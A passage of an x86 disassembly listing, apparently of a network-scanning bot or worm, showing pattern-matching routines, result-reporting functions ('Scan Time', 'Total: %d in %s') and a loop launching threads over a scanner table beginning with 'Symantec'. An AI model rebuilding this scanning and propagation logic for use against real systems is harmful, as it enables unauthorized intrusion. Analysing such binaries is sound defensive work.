		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_40B713+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B841
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B777:				; CODE XREF: sub_40B713+37j
					; sub_40B713+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B71D
; ---------------------------------------------------------------------------


loc_40B77D:				; CODE XREF: sub_40B713+Ej
					; sub_40B713+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B78D
		cmp	eax, 1
		jnz	short loc_40B7A4
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------


loc_40B78D:				; CODE XREF: sub_40B713+6Dj
		cmp	eax, 1
		jnz	short loc_40B7A4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B7A4
		cmp	byte ptr [esi],	0
		jnz	short loc_40B7A4
		push	1
		pop	eax
		jmp	short loc_40B7A6
; ---------------------------------------------------------------------------


loc_40B7A4:				; CODE XREF: sub_40B713+72j
					; sub_40B713+7Dj ...
		xor	eax, eax


loc_40B7A6:				; CODE XREF: sub_40B713+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A9	proc near		; CODE XREF: sub_40B713+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7CA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7CA:				; CODE XREF: sub_40B7A9+19j
		push	ebx
		push	esi


loc_40B7CC:				; CODE XREF: sub_40B7A9+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7DA
		cmp	[ebp+var_4], eax
		jnz	short loc_40B826


loc_40B7DA:				; CODE XREF: sub_40B7A9+2Aj
		test	edi, edi
		jnz	short loc_40B81B
		cmp	bl, 2Dh
		jnz	short loc_40B80F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B80F
		cmp	al, 5Dh
		jz	short loc_40B80F
		cmp	[ebp+var_4], edi
		jnz	short loc_40B80F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B81B
		cmp	bl, al
		jg	short loc_40B81B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B81B
; ---------------------------------------------------------------------------


loc_40B80F:				; CODE XREF: sub_40B7A9+38j
					; sub_40B7A9+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B81B
		push	1
		pop	edi


loc_40B81B:				; CODE XREF: sub_40B7A9+33j
					; sub_40B7A9+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7CC
; ---------------------------------------------------------------------------


loc_40B826:				; CODE XREF: sub_40B7A9+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B833
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B833:				; CODE XREF: sub_40B7A9+82j
		cmp	edi, eax
		jnz	short loc_40B83C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B83C:				; CODE XREF: sub_40B7A9+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B841	proc near		; CODE XREF: sub_40B713+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B85D:				; CODE XREF: sub_40B841+3Aj
		cmp	[eax], bl
		jz	short loc_40B87D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B872
		cmp	cl, 2Ah
		jnz	short loc_40B87D
		cmp	cl, 3Fh
		jnz	short loc_40B875


loc_40B872:				; CODE XREF: sub_40B841+25j
		inc	eax
		mov	[edi], eax


loc_40B875:				; CODE XREF: sub_40B841+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B85D
; ---------------------------------------------------------------------------


loc_40B87D:				; CODE XREF: sub_40B841+1Ej
					; sub_40B841+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B888
		inc	dword ptr [esi]
		jmp	short loc_40B87D
; ---------------------------------------------------------------------------


loc_40B888:				; CODE XREF: sub_40B841+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B89A
		xor	eax, eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B89A:				; CODE XREF: sub_40B841+53j
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B8A9
		push	1
		pop	eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B8A9:				; CODE XREF: sub_40B841+4Dj
					; sub_40B841+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3


loc_40B8B7:				; CODE XREF: sub_40B841+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8BB:				; CODE XREF: sub_40B841+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8D3
		cmp	cl, 5Bh
		jz	short loc_40B8D3
		cmp	dl, bl
		jz	short loc_40B8D3
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8BB
; ---------------------------------------------------------------------------


loc_40B8D3:				; CODE XREF: sub_40B841+82j
					; sub_40B841+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8EA
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8EF
; ---------------------------------------------------------------------------


loc_40B8EA:				; CODE XREF: sub_40B841+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8EF:				; CODE XREF: sub_40B841+A7j
		cmp	eax, ebx
		jnz	short loc_40B8B7


loc_40B8F3:				; CODE XREF: sub_40B841+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	[ebp+var_4], 1


loc_40B906:				; CODE XREF: sub_40B841+B6j
					; sub_40B841+BCj
		mov	eax, [ebp+var_4]


loc_40B909:				; CODE XREF: sub_40B841+57j
					; sub_40B841+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B90E	proc near		; CODE XREF: sub_401ACD+2AB2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431B94
		push	eax
		xor	ebx, ebx
		call	sub_41C266
		cmp	dword_4317F8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B980
		push	esi
		mov	esi, offset dword_431800


loc_40B941:				; CODE XREF: sub_40B90E+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B976
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431B88
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		add	esp, 1Ch


loc_40B976:				; CODE XREF: sub_40B90E+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B941
		pop	esi


loc_40B980:				; CODE XREF: sub_40B90E+2Bj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B90E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc near		; CODE XREF: sub_401ACD+2A9Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE4E0
		mov	ecx, dword_4CE4DC
		push	esi
		push	dword_4CB714
		lea	esi, [ecx+eax]
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE4E0
		lea	eax, [ebp+var_200]
		push	dword_4CE4DC
		push	offset unk_431BB4
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA49	proc near		; CODE XREF: sub_401ACD+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE718
		push	offset unk_431BFC
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 28h
		leave
		retn
sub_40BA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA9E	proc near		; CODE XREF: sub_401ACD+2A70p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431C48
		push	eax
		call	sub_41C266
		cmp	dword_4317F8, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BB0A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAD3:				; CODE XREF: sub_40BA9E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C38
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAD3
		pop	esi


loc_40BB0A:				; CODE XREF: sub_40BA9E+2Dj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BA9E	endp

; ---------------------------------------------------------------------------
byte_40BB65	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CBA14
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_4317F8, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BCC7
		mov	ebx, offset dword_4317F8
		mov	eax, ebx


loc_40BBB6:				; CODE XREF: ___:0040BCC1j
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C34B
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCB7
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C98
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40BC52
		lea	eax, [ebp-124h]


loc_40BC52:				; CODE XREF: ___:0040BC4Aj
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41C266
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40BCB7:				; CODE XREF: ___:0040BBC9j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBB6


loc_40BCC7:				; CODE XREF: ___:0040BBA9j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C64
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		dd 2D42E7E8h
		db 2, 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD1A	proc near		; CODE XREF: sub_401ACD+23F4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_40BD56
		mov	eax, [ebp+arg_C]
		push	dword_4CBB20[eax*8]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431CE8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40BD69
; ---------------------------------------------------------------------------


loc_40BD56:				; CODE XREF: sub_40BD1A+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431CC8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40BD69:				; CODE XREF: sub_40BD1A+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 18h
		leave
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD91	proc near		; CODE XREF: sub_40C3E8+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C263
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431804[eax], ebx
		jz	loc_40C263
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C018
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CDBDC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDDEC, eax
		mov	dword_4CDDE8, ebx
		nop
		call	near ptr 2670000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CDCE0
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDBD8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDE70, eax
		jnz	short loc_40BE44
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, 1
		jmp	short loc_40BE5E
; ---------------------------------------------------------------------------


loc_40BE44:				; CODE XREF: sub_40BD91+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, ebx


loc_40BE5E:				; CODE XREF: sub_40BD91+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDDEC
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CDDE4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDBD8
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, dword_4CDDE4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BECC


loc_40BEBA:				; CODE XREF: sub_40BD91+139j
		cmp	dword_4CDE78, ebx
		jnz	short loc_40BEE7
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_40BEBA
; ---------------------------------------------------------------------------


loc_40BECC:				; CODE XREF: sub_40BD91+127j
		call	near ptr 2680972h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E08
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40BEE7:				; CODE XREF: sub_40BD91+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		mov	eax, dword_4CB710
		mov	esi, offset dword_4CDE84
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CE094, eax
		mov	dword_4CE090, ebx
		nop
		call	near ptr 2670000h
		push	103h
		push	edi
		push	offset dword_4CDF88
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDE80, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CE118, eax
		push	7Fh
		jnz	short loc_40BF68
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, 1
		jmp	short loc_40BF82
; ---------------------------------------------------------------------------


loc_40BF68:				; CODE XREF: sub_40BD91+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, ebx


loc_40BF82:				; CODE XREF: sub_40BD91+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CE094
		push	offset unk_431DD4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CE08C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDE80
		push	offset word_40F3AA
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, dword_4CE08C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BFF0


loc_40BFDE:				; CODE XREF: sub_40BD91+25Dj
		cmp	dword_4CE120, ebx
		jnz	short loc_40C00B
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFF0:				; CODE XREF: sub_40BD91+24Bj
		nop
		call	near ptr 2680972h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DA0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C00B:				; CODE XREF: sub_40BD91+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C018:				; CODE XREF: sub_40BD91+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43180C[ecx], ebx
		jz	loc_40C141
		push	7
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C13B
		mov	eax, dword_4CE710
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB44, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CDB38, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CDB40, ebx
		mov	dword_4CDBC8, eax
		push	7Fh
		jnz	short loc_40C08C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, 1
		jmp	short loc_40C0A6
; ---------------------------------------------------------------------------


loc_40C08C:				; CODE XREF: sub_40BD91+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, ebx


loc_40C0A6:				; CODE XREF: sub_40BD91+2F9j
		push	dword_4CDB44
		lea	eax, [ebp+var_204]
		push	offset unk_431D70
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	dword_4CDB3C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB38
		push	offset dword_40F108
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, dword_4CDB3C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C113


loc_40C101:				; CODE XREF: sub_40BD91+380j
		cmp	dword_4CDBD0, ebx
		jnz	short loc_40C12E
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_40C101
; ---------------------------------------------------------------------------


loc_40C113:				; CODE XREF: sub_40BD91+36Ej
		nop
		call	near ptr 2680972h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D38
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C12E:				; CODE XREF: sub_40BD91+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C13B:				; CODE XREF: sub_40BD91+2A8j
		mov	eax, [ebp+arg_130]


loc_40C141:				; CODE XREF: sub_40BD91+298j
		shl	eax, 6
		cmp	dword_431808[eax], ebx
		jz	loc_40C263
		push	3
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C263
		mov	esi, offset dword_4CE3B4
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		push	5Ch
		push	esi
		call	sub_41C820
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C182
		mov	[eax], bl


loc_40C182:				; CODE XREF: sub_40BD91+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE4CC, ebx
		mov	dword_4CE4B8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE12C
		call	sub_41C266
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CE128, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE4B8
		mov	dword_4CE4C4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE4C8, ecx
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	dword_4CE4C0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CE128
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, dword_4CE4C0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C23B


loc_40C229:				; CODE XREF: sub_40BD91+4A8j
		cmp	dword_4CE4D4, ebx
		jnz	short loc_40C256
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_40C229
; ---------------------------------------------------------------------------


loc_40C23B:				; CODE XREF: sub_40BD91+496j
		call	near ptr 2680972h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D04
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C256:				; CODE XREF: sub_40BD91+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C263:				; CODE XREF: sub_40BD91+14j
					; sub_40BD91+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C267	proc near		; CODE XREF: sub_40C3E8:loc_40C459p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CBB20h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB8FC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9D0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CD20
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2AF	proc near		; CODE XREF: sub_40C3E8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B9C0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C2D7
		xor	eax, eax
		jmp	short loc_40C348
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: sub_40C2AF+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE3
